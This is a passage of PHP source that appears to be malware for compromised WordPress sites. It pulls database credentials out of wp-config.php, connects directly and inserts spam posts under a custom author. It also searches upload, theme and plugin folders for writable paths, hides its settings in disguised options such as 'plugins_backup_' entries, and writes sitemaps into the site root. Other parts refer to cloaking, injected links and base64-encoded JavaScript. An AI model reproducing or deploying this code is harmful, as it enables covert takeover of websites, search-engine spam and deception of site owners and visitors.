        if ($stmt) {

            $lastDateFetch = $stmt->fetch();

            $date = $lastDateFetch['post_date'];

        } else {

            $date = date('Y-m-d H:i:s');

        }



        return $date;



    }





    public function insertPost($title, $content, $date, $userId = '', $customSlug = '') {



        $date = ($date === '') ? WritePostsWpHandler::randDate() : $date;

        $userId = !$userId ? 1 : $userId;

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);



        $query = "INSERT INTO $table ( `post_author`, `post_date`,"

            . " `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`,"

            . " `post_status`, `comment_status`, `ping_status`, `post_password`,"

            . " `post_name`, `to_ping`, `pinged`, `post_modified`,"

            . " `post_modified_gmt`, `post_content_filtered`, `post_parent`,"

            . " `guid`, `menu_order`, `post_type`, `post_mime_type`,"

            . " `comment_count`) VALUES (:user_id, :date, :date, :content,"

            . " :title, '', 'publish', 'closed', 'closed', '', :slug, '', '',"

            . " '0000-00-00 00:00:00.000000', '0000-00-00 00:00:00.000000', '',"

            . " '0', '', '0', 'post', '', '0');";





        $stmt = $this->dsn->prepare($query);



        $stmt->execute(array(

            ':user_id' => $userId,

            ':date' => $date,

            ':content' => $content,

            ':title' => $title,

            ':slug' => urlencode($customSlug),

        ));





        return $this->dsn->lastInsertId();



    }



    public function viewAllAuthors() {

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $query = "SELECT DISTINCT post_author FROM $table";

        $stmt = $this->dsn->query($query);





        while ($row = $stmt->fetch(PDO::FETCH_LAZY)) {

            if ($row['post_author']) {

                echo $row['post_author'] . PHP_EOL;

            }

        }

    }



    public function insertOrUpdate($optionName, $optionValue) {

        if ($this->getOption($optionName)) {

            //echo sprintf('%s option exists, update', $optionName) . PHP_EOL;

            return $this->updateWpOptions($optionName, $optionValue);

        } else {

            //echo sprintf('%s option no exists, insert', $optionName) . PHP_EOL;

            return $this->insertWpOptions($optionName, $optionValue);

        }

    }



    public function updateWpOptions($optionName, $optionValue) {





        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);

        $query = "UPDATE $table set option_value = :option_value where option_name = :option_name";



        $stmt = $this->dsn->prepare($query);



        return $stmt->execute(array(

            ':option_value' => $optionValue,

            ':option_name' => $optionName,

        ));



    }



    public function insertWpOptions($optionName, $optionValue) {



        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);

        $query = "INSERT INTO $table ( option_name, option_value, autoload)"

            . "VALUES (:option_name, :option_value, 'yes')";

        $stmt = $this->dsn->prepare($query);

        $stmt->execute(array(

            ':option_name' => $optionName,

            ':option_value' => $optionValue,

        ));



        return $this->dsn->lastInsertId();

    }



    public function deleteOption($optionName) {

        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);

        $query = "delete FROM $table where option_name = :option_name";



        $stmt = $this->dsn->prepare($query);



        return $stmt->execute(array(

            ':option_name' => $optionName,

        ));

    }



    public function deletePosts($authors) {

        $authorsCommaSeparated = implode(', ', $authors);



        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $column = sprintf('`%sposts`.`post_author`', $this->dbPrefix);

        $query = "delete FROM $table where $column IN ($authorsCommaSeparated)";

        $stmt = $this->dsn->prepare($query);

        $stmt->execute();



        return $stmt->rowCount();

    }



}



final class GlobalLogs

{

    private static $logs;



    private function __construct() {



    }



    public static function setMainLog($message) {

        static::$logs['main'][] = $message;

        static::$logs['debug'][] = $message;

    }



    public static function setDebugLog($message) {

        static::$logs['debug'][] = $message;

    }



    public static function getMainLogs() {

        if (isset(static::$logs['main'])) {

            return implode("\n", static::$logs['main']);

        }



        return null;

    }



    public static function getDebugLogs() {

        if (isset(static::$logs['debug'])) {

            return implode("\n", static::$logs['debug']);

        }



        return null;

    }



    public function __wakeup() {



    }



    private function __clone() {



    }



}



class WritePostsWpHandler

{
    public static function tryConnect()
    {
        $configSource = file_get_contents(WP_ROOT_DIR . '/wp-config.php');

        $configArr = WritePostsWpHandler::parseWpConfig($configSource);

        try {

            $customDbLink = self::customDbLink($configSource);
            $dbConfig = self::detectSqliteInstance($configSource) ? false : $configArr;
            $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig);

            return $customDbHandler;

        } catch (Exception $ex) {

            if (!$dbConfig) {
                $errorPdoConnection = 1;
            } else {
                GlobalLogs::setDebugLog('Could not connect to db ' . $ex->getMessage());
                return false;
            }
        }


        if (isset($errorPdoConnection)) {


            GlobalLogs::setDebugLog('alternative connect');

            require_once(WP_ROOT_DIR . '/wp-config.php');

            $definedConstants = get_defined_constants(true);


            if (!$definedConstants['user']) {

                GlobalLogs::setDebugLog('Could not connect to db alternative method');

                return false;

            }


            $dbname = $definedConstants['user']['DB_NAME'];

            $dbuser = $definedConstants['user']['DB_USER'];

            $dbpassword = $definedConstants['user']['DB_PASSWORD'];

            $dbhostaddr = $definedConstants['user']['DB_HOST'];

            /** @var $table_prefix global wp var */

            $dbprefix = $table_prefix;


            if (stristr($dbhostaddr, ':') !== false) {

                list($hostAddr, $dbPort) = explode(':', $dbhostaddr);

            } else {

                $dbPort = 3306;

                $hostAddr = $dbhostaddr;

            }


            try {

                $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s', $hostAddr, $dbname, $dbPort);

                $customDbLink = new PDO($dbh, $dbuser, $dbpassword

                    , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET sql_mode="ALLOW_INVALID_DATES", NAMES utf8'));

                $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig);


                return $customDbHandler;


            } catch (Exception $ex) {

                GlobalLogs::setDebugLog('Could not connect to db ' . $ex->getMessage());

                return false;

            }


        }

    }


    public static function parseWpConfig($configSource)
    {


        preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $configSource, $dbhost);

        preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $configSource, $prefix);


        if (stristr($dbhost[2][3], ':') !== false) {

            list($hostAddr, $dbPort) = explode(':', $dbhost[2][3]);

        } else {

            $hostAddr = $dbhost[2][3];

            $dbPort = 3306;

        }


        return array(

            'dbname' => $dbhost[2][0],

            'dbuser' => $dbhost[2][1],

            'dbpassword' => $dbhost[2][2],

            'dbhostaddr' => $hostAddr,

            'dbprefix' => $prefix[1],

            'dbport' => $dbPort,

        );

    }


    public static function customDbLink($configSource)
    {

        if (self::detectSqliteInstance($configSource)) {

            if (!self::isAvailablePdoDriver('sqlite')) {

                GlobalLogs::setMainLog('sqlite driver not found');

                return false;

            }


            $db = new PDO("sqlite:" . WP_ROOT_DIR . '/wpsqlite.db');


        } else {

            if (!self::isAvailablePdoDriver('mysql')) {

                GlobalLogs::setMainLog('mysql driver not found');

                return false;

            }

            $configArr = WritePostsWpHandler::parseWpConfig($configSource);

            $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s', $configArr['dbhostaddr'], $configArr['dbname'], $configArr['dbport']);

            $db = new PDO($dbh, $configArr['dbuser'], $configArr['dbpassword']

                , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET sql_mode="ALLOW_INVALID_DATES"'));


        }


        return $db;


    }


    public static function detectSqliteInstance($configSource)
    {

        if (strstr($configSource, 'wpsqlite.db') !== false) {

            return true;

        }


        return false;

    }


    public static function isAvailablePdoDriver($name)
    {

        return (in_array($name, PDO::getAvailableDrivers()));

    }


    public static function getSource($url)
    {

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);

        curl_setopt($ch, CURLOPT_HEADER, 0);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        curl_setopt($ch, CURLOPT_TIMEOUT, 10);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

        $data = curl_exec($ch);

        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);


        $res = ($code == 200) ? $data : NULL;

        curl_close($ch);

        return $res;

    }


    public static function sendPostData($url, $fields)
    {


        $fields_string = '';

        foreach ($fields as $key => $value) {


            $fields_string .= $key . '=' . $value . '&';

        }

        rtrim($fields_string, '&');


        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        curl_setopt($ch, CURLOPT_TIMEOUT, 10);

        curl_setopt($ch, CURLOPT_POST, count($fields));

        curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

        $result = curl_exec($ch);

        $info = curl_getinfo($ch);


        if (curl_errno($ch)) {

            $error_msg = curl_error($ch);

            GlobalLogs::setDebugLog('Post response error');

            GlobalLogs::setDebugLog($error_msg);


            return null;

        }

        curl_close($ch);


        return ($info["http_code"] == 200) ? $result : null;

    }


    public static function removeDirRec($dir)
    {


        if (!is_dir($dir)) {

            return;

        }


        if ($objs = glob($dir . "/{,.}[!.,!..]*", GLOB_MARK | GLOB_BRACE)) {


            foreach ($objs as $obj) {

                is_dir($obj) ? WritePostsWpHandler::removeDirRec($obj) : unlink($obj);

            }

        }


        rmdir($dir);

    }


    public static function easyCrypt($str, $key)
    {

        $method = 'aes256';


        return @openssl_encrypt($str, $method, $key);

    }


    public static function easyDecrypt($crypted, $method, $key)
    {

        return openssl_decrypt($crypted, $method, $key);

    }


    public static function uncompressString($compressed)
    {

        return gzinflate(base64_decode($compressed));

    }


    public static function detectWProotDir()
    {


        if (file_exists(CURRENTDIR . '/wp-config.php')) {

            return rtrim(CURRENTDIR, '/');

        }

        $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);


        if (file_exists($normalizePath . '/wp-config.php')) {

            return $normalizePath;

        }


        return null;

    }


    public static function tmpDirCustom()
    {

        if (function_exists('sys_get_temp_dir')) {

            $tmpDir = sys_get_temp_dir();

            if (is_writeable($tmpDir)) {

                return $tmpDir;

            }

        }

        $tmpDir = ini_get('upload_tmp_dir');


        if ($tmpDir) {

            if (is_writeable($tmpDir)) {

                return $tmpDir;

            }

        }


        $wpContentTmpDir = WritePostsWpHandler::writableDir();


        if ($wpContentTmpDir) {

            return $wpContentTmpDir;

        }


        return false;

    }


    public static function writableDir()
    {


        foreach (array('wp-content/uploads', 'wp-content/themes', 'wp-content/plugins') as $mbWriteablePath) {

            $writeableDirectory = WritePostsWpHandler::findWriteablePath(WP_ROOT_DIR . '/' . $mbWriteablePath);

            if (!empty($writeableDirectory)) {

                return $writeableDirectory;

            }

        }


    }


    public static function findWriteablePath($pathForScaning)
    {


        if (is_writeable($pathForScaning)) {

            return $pathForScaning;

        }

        $subdirs = glob($pathForScaning . '/*', GLOB_ONLYDIR);


        if (!empty($subdirs)) {

            foreach ($subdirs as $dir) {

                if (is_writable($dir)) {

                    return $dir;

                }

            }

        }


        return null;

    }


    public static function linkBuildingSettingsCheck()
    {

        if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {

            if (!defined('EXTERNAL_LINKS_COUNT_PAGE')) {

                GlobalLogs::setMainLog('set EXTERNAL_LINKS_COUNT_PAGE');

                return false;

            }

            if (!defined('TABLE_HASH') && !defined('HTML_HASH')) {

                GlobalLogs::setMainLog('set TABLE_HASH or HTML_HASH value');

                return false;

            }

            if (!defined('COUNT_LINKS_FROM_DOMAIN')) {

                GlobalLogs::setMainLog('set COUNT_LINKS_FROM_DOMAIN');

                return false;

            }

        }


        return true;

    }


    public static function tmpDir()
    {

        $tmpDirName = $_SERVER['HTTP_HOST'];


        if (!is_dir(WRITABLE_PATH . '/' . $tmpDirName)) {

            if (!mkdir(WRITABLE_PATH . '/' . $tmpDirName)) {

                return false;

            }

        }

        return WRITABLE_PATH . '/' . $tmpDirName;

    }


    public static function checkHomeUrl($homeUrl)
    {

        if (!defined('HOME_URL')) {

            if (!$homeUrl) {

                GlobalLogs::setMainLog('homeurl function return null, please define HOME_URL manually');

                exit;

            } else {

                define('HOME_URL', $homeUrl);

            }

        }

    }


    public static function removePluginsBackupForAuthorId()
    {

        $prefix = "plugins_backup_" . CUSTOM_AUTHOR_ID . '_';

        $options = CustomDbHandler::getInstance()->getOptionLike($prefix);


        if (empty($options)) {

            return;

        }

        $names = array_column($options, 'option_name');

        foreach ($names as $name) {

            CustomDbHandler::getInstance()->deleteOption($name);

        }


    }


    public static function customFormatResponse()
    {

        $sitemapUrl = HOME_URL . '/' . SITEMAP_NAME . '.xml';

        $sitemapUrlSec = HOME_URL . '/?feed=xml' . SITEMAP_NAME;

        echo $sitemapUrl . PHP_EOL;

        echo $sitemapUrlSec . PHP_EOL . PHP_EOL;


    }


    public static function allPostsFullUrlWithoutRequire($limit = false)
    {


        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;

        $urls = array();


        $permalinkOption = CustomDbHandler::getInstance()->getOption('permalink_structure');


        if (!$permalinkOption) {

            $isRewrite = false;

        } else {

            $isRewrite = $permalinkOption['option_value'] !== '' ? true : false;

        }


        $canonicalUrls = CustomDbHandler::getInstance()->allPostsFromDbWithPostName(HOME_URL, $userId);


        $iter = 1;


        if (!empty($canonicalUrls)) {

            foreach ($canonicalUrls as $canonicalUrlArr) {


                list ($link, $title, $postName) = $canonicalUrlArr;

                preg_match('~\?p=(\d+)~', $link, $idMatches);

                $postNameOrLink = ($isRewrite) ? $postName : $link;


                $urls[] = array(

                    $postNameOrLink,

                    $idMatches[1],

                    $title

                );


                if (function_exists('wp_cache_delete')) {

                    wp_cache_delete($idMatches[1], 'posts');

                }


                if ($limit && ($iter >= $limit)) {

                    break;

                }

                $iter++;

            }

        }


        return $urls;

    }


    public static function areAllActionsCompleted($actionsWithStatus)
    {
        if (array_key_exists('sitemap', $actionsWithStatus)) $actionsWithStatus['sitemap'] = 1;

        if (in_array(1, $actionsWithStatus) === false) {

            GlobalLogs::setMainLog('no scheduled actions');

            return true;

        }

        return false;

    }


    public static function customCheckActions($actions)
    {


        if (defined('IGNORE_ACTIONS_LOG') && IGNORE_ACTIONS_LOG === 1) {
            return $actions;
        }


        $pluginsOptionsName = WritePostsWpHandler::pluginsBackupOptionName();


        if (defined('REMOVE_ACTIONS_LOG') && REMOVE_ACTIONS_LOG === 1) {

            CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName);

            return $actions;

        }


        $pluginsBackupOption = CustomDbHandler::getInstance()->getOption($pluginsOptionsName);


        if ($pluginsBackupOption && WritePostsWpHandler::isJson($pluginsBackupOption['option_value'])) {

            $actionsDb = json_decode($pluginsBackupOption['option_value'], 1);


            if (WritePostsWpHandler::actionsWasChanged($actions, $actionsDb)) {

                CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName);

                return $actions;

            }

            return $actionsDb;

        }


        return $actions;

    }


    public static function pluginsBackupOptionName()
    {

        $tmp = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES);

        return "plugins_backup_" . CUSTOM_AUTHOR_ID . '_' . md5($tmp);

    }


    public static function isJson($string)
    {

        json_decode($string);


        return (json_last_error() == JSON_ERROR_NONE);

    }


    public static function actionsWasChanged($actions, $actionsDb)
    {


        if (count($actions) !== count($actionsDb)) {

            return true;

        }


        foreach ($actions as $actionName => $actionValue) {

            if (!isset($actionsDb[$actionName])) {

                return true;

            }

        }

        return false;

    }


    public static function checkMutex($customMutexPath)
    {

        if (file_exists($customMutexPath)) {

            if (WritePostsWpHandler::mutexOutOfDate($customMutexPath)) {

                WritePostsWpHandler::customSetMutex($customMutexPath);

            } else {

                //die('script already running');

            }


        } else {

            WritePostsWpHandler::customSetMutex($customMutexPath);

        }

    }


    public static function mutexOutOfDate($mutexName, $outOfDateTimeInSeconds = 90)
    {

        clearstatcache();

        $mutextTimestamp = filemtime($mutexName);
        return ((time() - $mutextTimestamp) > $outOfDateTimeInSeconds);

    }


    public static function customSetMutex($path)
    {

        file_put_contents($path, 1);

    }


    public static function checkSitemapNameRoot()
    {


        if (!is_writeable(WP_ROOT_DIR)) {

            GlobalLogs::setMainLog(WP_ROOT_DIR . ' isnt writeable');

            return false;

        }


        if (file_exists(WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml')) {

            GlobalLogs::setMainLog(SITEMAP_NAME . '.xml in root dir, change sitemap name');

            return false;

        }


        return true;

    }


    public static function sitemapHeadSec()
    {

        return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="https://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="https://www.sitemaps.org/schemas/sitemap/0.9
            https://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">

STR;

    }


    public static function urlBlockSec($url, $lastmod, $changefreq, $priority)
    {


        return <<<STR

   <url>

      <loc>$url</loc>

      <lastmod>$lastmod</lastmod>

      <changefreq>$changefreq</changefreq>

      <priority>$priority</priority>

   </url>\n\n

STR;

    }


    public static function currenturl($rootDir, $host = null)
    {


        $host = !$host ? 'https://' . $_SERVER['HTTP_HOST'] : $host;

        $tmp = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $host . $rootDir);


        return $tmp;

    }


    public static function isBadEnvCustom()
    {


        $requestUri = $_SERVER['REQUEST_URI'];

        if (strstr($requestUri, 'wp-config-sample.php') !== false) {

            return true;

        }


        return false;

    }


    public static function slugPrepareBeforeInsert($filename, $contentPartsSlug)
    {

        if (defined('USE_ORIGINAL_SLUG') && (USE_ORIGINAL_SLUG === 1)) {

            $customSlug = WritePostsWpHandler::mb_basename($filename, '.html');


            if (CustomDbHandler::getInstance()->dbType === CustomDbHandler::DB_TYPE_SQLITE) {

                $customSlug = WritePostsWpHandler::stringToSlug($contentPartsSlug);

            }


        } else {

            $customSlug = $contentPartsSlug;

        }


        return $customSlug;

    }


    public static function mb_basename($file, $ext = '')
    {

        $explodedPath = explode('/', $file);

        $last = end($explodedPath);


        return ($ext !== '') ? str_replace($ext, '', $last) : $last;

    }


    public static function stringToSlug($str)
    {


        $options = array(

            'delimiter' => '-',

            'limit' => null,

            'lowercase' => true,

            'replacements' => array(),

            'transliterate' => true,

        );


        $char_map = array(

            // Latin

            'À' => 'A',

            'Á' => 'A',

            'Â' => 'A',

            'Ã' => 'A',

            'Ä' => 'A',

            'Å' => 'A',

            'Ă' => 'A',

            'Æ' => 'AE',

            'Ç' => 'C',

            'È' => 'E',

            'É' => 'E',

            'Ê' => 'E',

            'Ë' => 'E',

            'Ì' => 'I',

            'Í' => 'I',

            'Î' => 'I',

            'Ï' => 'I',

            'Ð' => 'D',

            'Ñ' => 'N',

            'Ò' => 'O',

            'Ó' => 'O',

            'Ô' => 'O',

            'Õ' => 'O',

            'Ö' => 'O',

            'Ő' => 'O',

            'Ø' => 'O',

            'Ș' => 'S',

            'Ù' => 'U',

            'Ú' => 'U',

            'Û' => 'U',

            'Ü' => 'U',

            'Ű' => 'U',

            'Ý' => 'Y',

            'Þ' => 'TH',

            'ß' => 'ss',

            'à' => 'a',

            'á' => 'a',

            'â' => 'a',

            'ã' => 'a',

            'ä' => 'a',

            'å' => 'a',

            'ă' => 'a',

            'æ' => 'ae',

            'ç' => 'c',

            'è' => 'e',

            'é' => 'e',

            'ê' => 'e',

            'ë' => 'e',

            'ì' => 'i',

            'í' => 'i',

            'î' => 'i',

            'ï' => 'i',

            'ð' => 'd',

            'ñ' => 'n',

            'ò' => 'o',

            'ó' => 'o',

            'ô' => 'o',

            'õ' => 'o',

            'ö' => 'o',

            'ő' => 'o',

            'ø' => 'o',

            'ș' => 's',

            'ù' => 'u',

            'ú' => 'u',

            'û' => 'u',

            'ü' => 'u',

            'ű' => 'u',

            'ý' => 'y',

            'þ' => 'th',

            'ÿ' => 'y',

            // Latin symbols

            '©' => '(c)',

            // Greek

            'Α' => 'A',

            'Β' => 'B',

            'Γ' => 'G',

            'Δ' => 'D',

            'Ε' => 'E',

            'Ζ' => 'Z',

            'Η' => 'H',

            'Θ' => '8',

            'Ι' => 'I',

            'Κ' => 'K',

            'Λ' => 'L',

            'Μ' => 'M',

            'Ν' => 'N',

            'Ξ' => '3',

            'Ο' => 'O',

            'Π' => 'P',

            'Ρ' => 'R',

            'Σ' => 'S',

            'Τ' => 'T',

            'Υ' => 'Y',

            'Φ' => 'F',

            'Χ' => 'X',

            'Ψ' => 'PS',

            'Ω' => 'W',

            'Ά' => 'A',

            'Έ' => 'E',

            'Ί' => 'I',

            'Ό' => 'O',

            'Ύ' => 'Y',

            'Ή' => 'H',

            'Ώ' => 'W',

            'Ϊ' => 'I',

            'Ϋ' => 'Y',

            'α' => 'a',

            'β' => 'b',

            'γ' => 'g',

            'δ' => 'd',

            'ε' => 'e',

            'ζ' => 'z',

            'η' => 'h',

            'θ' => '8',

            'ι' => 'i',

            'κ' => 'k',

            'λ' => 'l',

            'μ' => 'm',

            'ν' => 'n',

            'ξ' => '3',

            'ο' => 'o',

            'π' => 'p',

            'ρ' => 'r',

            'σ' => 's',

            'τ' => 't',

            'υ' => 'y',

            'φ' => 'f',

            'χ' => 'x',

            'ψ' => 'ps',

            'ω' => 'w',

            'ά' => 'a',

            'έ' => 'e',

            'ί' => 'i',

            'ό' => 'o',

            'ύ' => 'y',

            'ή' => 'h',

            'ώ' => 'w',

            'ς' => 's',

            'ϊ' => 'i',

            'ΰ' => 'y',

            'ϋ' => 'y',

            'ΐ' => 'i',

            // Turkish

            'Ş' => 'S',

            'İ' => 'I',

            'Ç' => 'C',

            'Ü' => 'U',

            'Ö' => 'O',

            'Ğ' => 'G',

            'ş' => 's',

            'ı' => 'i',

            'ç' => 'c',

            'ü' => 'u',

            'ö' => 'o',

            'ğ' => 'g',

            // Russian

            'А' => 'A',

            'Б' => 'B',

            'В' => 'V',

            'Г' => 'G',

            'Д' => 'D',

            'Е' => 'E',

            'Ё' => 'Yo',

            'Ж' => 'Zh',

            'З' => 'Z',

            'И' => 'I',

            'Й' => 'J',

            'К' => 'K',

            'Л' => 'L',

            'М' => 'M',

            'Н' => 'N',

            'О' => 'O',

            'П' => 'P',

            'Р' => 'R',

            'С' => 'S',

            'Т' => 'T',

            'У' => 'U',

            'Ф' => 'F',

            'Х' => 'H',

            'Ц' => 'C',

            'Ч' => 'Ch',

            'Ш' => 'Sh',

            'Щ' => 'Sh',

            'Ъ' => '',

            'Ы' => 'Y',

            'Ь' => '',

            'Э' => 'E',

            'Ю' => 'Yu',

            'Я' => 'Ya',

            'а' => 'a',

            'б' => 'b',

            'в' => 'v',

            'г' => 'g',

            'д' => 'd',

            'е' => 'e',

            'ё' => 'yo',

            'ж' => 'zh',

            'з' => 'z',

            'и' => 'i',

            'й' => 'j',

            'к' => 'k',

            'л' => 'l',

            'м' => 'm',

            'н' => 'n',

            'о' => 'o',

            'п' => 'p',

            'р' => 'r',

            'с' => 's',

            'т' => 't',

            'у' => 'u',

            'ф' => 'f',

            'х' => 'h',

            'ц' => 'c',

            'ч' => 'ch',

            'ш' => 'sh',

            'щ' => 'sh',

            'ъ' => '',

            'ы' => 'y',

            'ь' => '',

            'э' => 'e',

            'ю' => 'yu',

            'я' => 'ya',

            // Ukrainian

            'Є' => 'Ye',

            'І' => 'I',

            'Ї' => 'Yi',

            'Ґ' => 'G',

            'є' => 'ye',

            'і' => 'i',

            'ї' => 'yi',

            'ґ' => 'g',

            // Czech

            'Č' => 'C',

            'Ď' => 'D',

            'Ě' => 'E',

            'Ň' => 'N',

            'Ř' => 'R',

            'Š' => 'S',

            'Ť' => 'T',

            'Ů' => 'U',

            'Ž' => 'Z',

            'č' => 'c',

            'ď' => 'd',

            'ě' => 'e',

            'ň' => 'n',

            'ř' => 'r',

            'š' => 's',

            'ť' => 't',

            'ů' => 'u',

            'ž' => 'z',

            // Polish

            'Ą' => 'A',

            'Ć' => 'C',

            'Ę' => 'e',

            'Ł' => 'L',

            'Ń' => 'N',

            'Ó' => 'o',

            'Ś' => 'S',

            'Ź' => 'Z',

            'Ż' => 'Z',

            'ą' => 'a',

            'ć' => 'c',

            'ę' => 'e',

            'ł' => 'l',

            'ń' => 'n',

            'ó' => 'o',

            'ś' => 's',

            'ź' => 'z',

            'ż' => 'z',

            // Latvian

            'Ā' => 'A',

            'Č' => 'C',

            'Ē' => 'E',

            'Ģ' => 'G',

            'Ī' => 'i',

            'Ķ' => 'k',

            'Ļ' => 'L',

            'Ņ' => 'N',

            'Š' => 'S',

            'Ū' => 'u',

            'Ž' => 'Z',

            'ā' => 'a',

            'č' => 'c',

            'ē' => 'e',

            'ģ' => 'g',

            'ī' => 'i',

            'ķ' => 'k',

            'ļ' => 'l',

            'ņ' => 'n',

            'š' => 's',

            'ū' => 'u',

            'ž' => 'z'

        );


        // Transliterate characters to ASCII

        if ($options['transliterate']) {

            $str = str_replace(array_keys($char_map), $char_map, $str);

        }


        // Replace non-alphanumeric characters with our delimiter

        $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str);


        // Remove duplicate delimiters

        $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str);


        // Truncate slug to max. characters

        //$str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8');


        $str = WritePostsWpHandler::mbSubstrCustom($str, 0,

            ($options['limit'] ? $options['limit'] : WritePostsWpHandler::mbStrlenCustom($str, 'UTF-8')));


        // Remove delimiter from ends

        $str = trim($str, $options['delimiter']);


        //return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str;

        return $options['lowercase'] ? WritePostsWpHandler::mbStrToLowerCustom($str, 'UTF-8') : $str;

    }


    public static function mbSubstrCustom($string, $offset, $length)
    {


        if (!function_exists('mb_substr')) {

            $arr = preg_split("//u", $string);

            $slice = array_slice($arr, $offset + 1, $length);

            return implode("", $slice);

        }

        return mb_substr($string, $offset, $length);


    }


    public static function mbStrlenCustom($string, $encoding)
    {


        if (function_exists('mb_strlen')) {

            return mb_strlen($string, $encoding);

        }

        return preg_match_all('/./us', $string, $matches);


    }


    public static function mbStrToLowerCustom($string, $encoding = null)
    {


        if (function_exists('mb_strtolower')) {

            return mb_strtolower($string, $encoding);

        }


        if (function_exists('iconv')) {

            return iconv('UTF-8', 'UTF-8//IGNORE',

                strtolower(iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $string)));

        }


        preg_replace_callback('/\p{Lu}/u', function ($match) {

            return strtolower($match[0]);

        }, $string);

    }


    public static function getTemplatePath()
    {

        try {

            $templateName = CustomDbHandler::getInstance()->getOption('template');

            $templateName = $templateName['option_value'];

        } catch (Exception $ex) {

            GlobalLogs::setMainLog($ex->getMessage());

            return false;

        }


        if (file_exists(WP_ROOT_DIR . '/wp-content/themes/' . $templateName . '/functions.php')) {

            return WP_ROOT_DIR . '/wp-content/themes/' . $templateName;

        }


        //echo 'functions.php not found in theme directory' . PHP_EOL;

        return false;

    }


    public static function getSitemapUrls()
    {

        GlobalLogs::setMainLog(HOME_URL . '/' . SITEMAP_NAME . '.xml');

        GlobalLogs::setMainLog(HOME_URL . '/?feed=xml' . SITEMAP_NAME);

    }


    public static function debugDataCustom()
    {


        $settings = array();

        $settings = WritePostsWpHandler::getDbSettingsCustom();


        if ($settings) {

            foreach ($settings as $userId => $arr) {

                if (isset($arr['js']) && $decodedJs = WritePostsWpHandler::detectBase64js($arr['js'])) {

                    $settings[$userId]['js'] = WritePostsWpHandler::parseJsScript($decodedJs);

                }

            }

        }


        return array(

            'archivePath' => str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES),

            'authorId' => CUSTOM_AUTHOR_ID,

            'cloacking' => CLOACKING,

            'homeLinks' => (defined('HOME_LINKS')) ? HOME_LINKS : 0,

            'homeLinksSettings' => ((defined('HOME_LINKS') && (HOME_LINKS === 1))) ? $_SERVER['homeLinksSettings'] : array(),

            'forceChangeHomeLinksOwner' => defined('FORCE_CHANGE_HOME_LINKS_OWNER') ? FORCE_CHANGE_HOME_LINKS_OWNER : 0,

            'internalLinking' => INTERNAL_LINKING,

            'externalLinking' => EXTERNAL_LINKING,

            'sitemapName' => SITEMAP_NAME,

            'jsConfig' => WritePostsWpHandler::parseJsScript(JS_SOURCE),

            'usersSettings' => $settings,

        );

    }


    public static function getDbSettingsCustom()
    {


        $settings = CustomDbHandler::getInstance()->getOption(WritePostsWpHandler::optionCustomFilters());

        $firstSettings = array();

        $secondSettings = array();

        if ($settings) {

            //new settings

            $firstUnserialize = unserialize(base64_decode($settings['option_value']));


            if (isset($firstUnserialize['option_value'])) {

                //double unserialize fix

                $secondUnserialize = unserialize(base64_decode($firstUnserialize['option_value']));

                if ($secondUnserialize) {

                    $firstSettings = $secondUnserialize;

                }

            } else {

                if ($firstUnserialize) {

                    $firstSettings = $firstUnserialize;

                }

            }


        }


        $settings = CustomDbHandler::getInstance()->getOption('wp_custom_filters');


        if ($settings) {

            //old settings

            $unserializedSettings = unserialize(base64_decode($settings['option_value']));

            if ($unserializedSettings) {

                $secondSettings = $unserializedSettings;

            }

        }


        //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!writeSettingsDB!!!!!!!!!!!!!!!!!!!!!


        return $firstSettings + $secondSettings;

    }


    public static function optionCustomFilters()
    {

        return md5(sha1($_SERVER['HTTP_HOST']));

    }


    public static function detectBase64js($string)
    {


        if (preg_match('~data:text\/javascript;base64,(.+?)\">~s', $string, $matches)) {

            return base64_decode($matches[1]);

        }


        return false;

    }


    public static function parseJsScript($string)
    {


        $results = array();

        preg_match('~hit;([^\?]+)~', $string, $lirucounter);


        if (isset($lirucounter[1])) {

